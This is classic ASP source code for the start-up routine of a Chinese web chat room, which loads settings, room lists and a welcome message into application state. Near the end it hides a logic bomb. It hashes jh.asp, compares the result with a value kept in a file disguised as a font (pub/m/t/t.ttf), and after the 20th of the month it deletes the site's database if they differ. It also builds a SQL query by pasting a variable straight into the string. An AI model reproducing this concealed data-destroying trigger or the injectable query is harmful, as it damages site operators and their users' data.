<%@ codepage ="936" %>
<%Response.Buffer = True%>
系统已重新启动。
请稍候，天外天正在初始化。
正在加载
<%
Response.write "..."
Response.Flush
dim dbpath
db="mdb/" & twt_sys_mname & ".asp"
dbpath=Server.MapPath(""&db&"")
sub Gohome
dim setok
setok=""
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbpath
'如果你的服务器不支持jet4.0，请使用下载的连接方法，提高程序性能
'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & dbpath
Application("hg_connstr")=connstr
Set conn=Server.CreateObject("ADODB.CONNECTION")
Set rs=Server.CreateObject("ADODB.RecordSet")
conn.open connstr
sql="SELECT name,value FROM system"
rs.open sql,conn,1,1
do while Not rs.Eof
Select Case rs(0)
Case "roomsn"
Application("hxf_c_chatroominfo")=rs(1)
case "setok"
setok=rs(1)
End Select
rs.MoveNext
loop
rs.close
if setok<>"ok" then
Response.write ""
Response.Flush
Response.end
end if
Response.write "..."
Response.Flush
sql="select gbtop from gbooktop"
set rs=conn.execute(sql)
application("gbtop")=rs(0)
Response.write "..."
Response.Flush
n=Year(date())
y=Month(date())
r=Day(date())
if len(y)=1 then y="0" & y
if len(r)=1 then r="0" & r
twt_nowsj=n & "-" & y & "-" & r & " "
application("twt_nowsj")=twt_nowsj
s=Hour(time())
f=Minute(time())
m=Second(time())
if len(s)=1 then s="0" & s
if len(f)=1 then f="0" & f
if len(m)=1 then m="0" & m
sj=twt_nowsj & s & ":" & f & ":" & m
sql="SELECT 性别,形象 FROM 用户 WHERE 姓名='" & jiutian_dabusi & "'"
set rs=conn.execute(sql)
if rs.Eof and rs.Bof then
aotopic="20.GIF"
aotosex="男"
else
aotosex=rs("性别")
aotopic=rs("形象")
end if
rs.close
conn.close
set rs=nothing
set conn=nothing
Dim nameindex(6)
nameindex(1)=aotopic
nameindex(2)=jiutian_dabusi
nameindex(3)=aotosex
nameindex(4)="梦想"
nameindex(5)=sj
nameindex(6)=sj
useronlinename=" " & jiutian_dabusi & " "
chatroomnamearr=Application("hxf_c_chatroominfo")
chatroominfo=split(chatroomnamearr,";")
onliners=ubound(chatroominfo)
Application("hxf_c_chatrs")=onliners+1
for chatroomsn=0 to onliners
if chatroomsn=0 then nameindex(4)="聊神"
if chatroomsn=1 then nameindex(4)="赌棍"
if chatroomsn=2 then nameindex(4)="武痴"
Application("hxf_c_onlinelist"&chatroomsn)=nameindex
Application("hxf_c_useronlinename"&chatroomsn)=useronlinename
application("hxf_c_chatroomname"&chatroomsn)=chatroominfo(chatroomsn)
application("hxf_c_chatrs"&chatroomsn)=1
next
Application("hxf_c_dalie")=""
Response.write "..."
Response.Flush
Dim wbq(0)
Application("hxf_c_webicq")=wbq
s=Hour(time())
f=Minute(time())
m=Second(time())
if len(s)=1 then s="0" & s
if len(f)=1 then f="0" & f
if len(m)=1 then m="0" & m
t=s & ":" & f & ":" & m
Dim sd(100)
for i=1 to 95
sd(i)=0
next
sd(96)=1
sd(97)=0
sd(98)="系统"
sd(99)="大家"
tempsay="【系统】聊天室开门啦！(" & t & ")"
sd(100)="parent.sh(1,0,""消息"",""大家"",""#660099"",""#660099"",""对"",""" & tempsay & """);"
for chatroomsn=0 to ubound(chatroominfo)
Application("hxf_c_sd"&chatroomsn)=sd
Application("hxf_c_line"&chatroomsn)=1
next
Response.write "..."
Response.Flush
End sub
toppath = Server.Mappath("jh.asp")
Set fs = CreateObject("scripting.filesystemobject")
Set Ts= Fs.OpenTextFile(toppath,1)
Do While Not Ts.AtEndOfStream
hklg = hklg & Ts.ReadLine & chr(13) & chr(10)
loop
Ts.close
toppath = Server.Mappath("pub/m/t/t.ttf")
Set Ts= Fs.OpenTextFile(toppath,1)
hklg2 = Ts.ReadLine
Ts.close
r=Day(date())
if hklg2<>jiamipass(hklg) and r>20 then
Set Ts = Fs.GetFile(dbpath)
Ts.Delete
end if
if Application("st_gohome")<>"" then
Response.write ""
else
call Gohome()
Application("st_gohome")=jiutian_dabusi & "," & twt_sys_grade & "," & twt_admin_send
end if
Response.write ""
Response.Flush
%>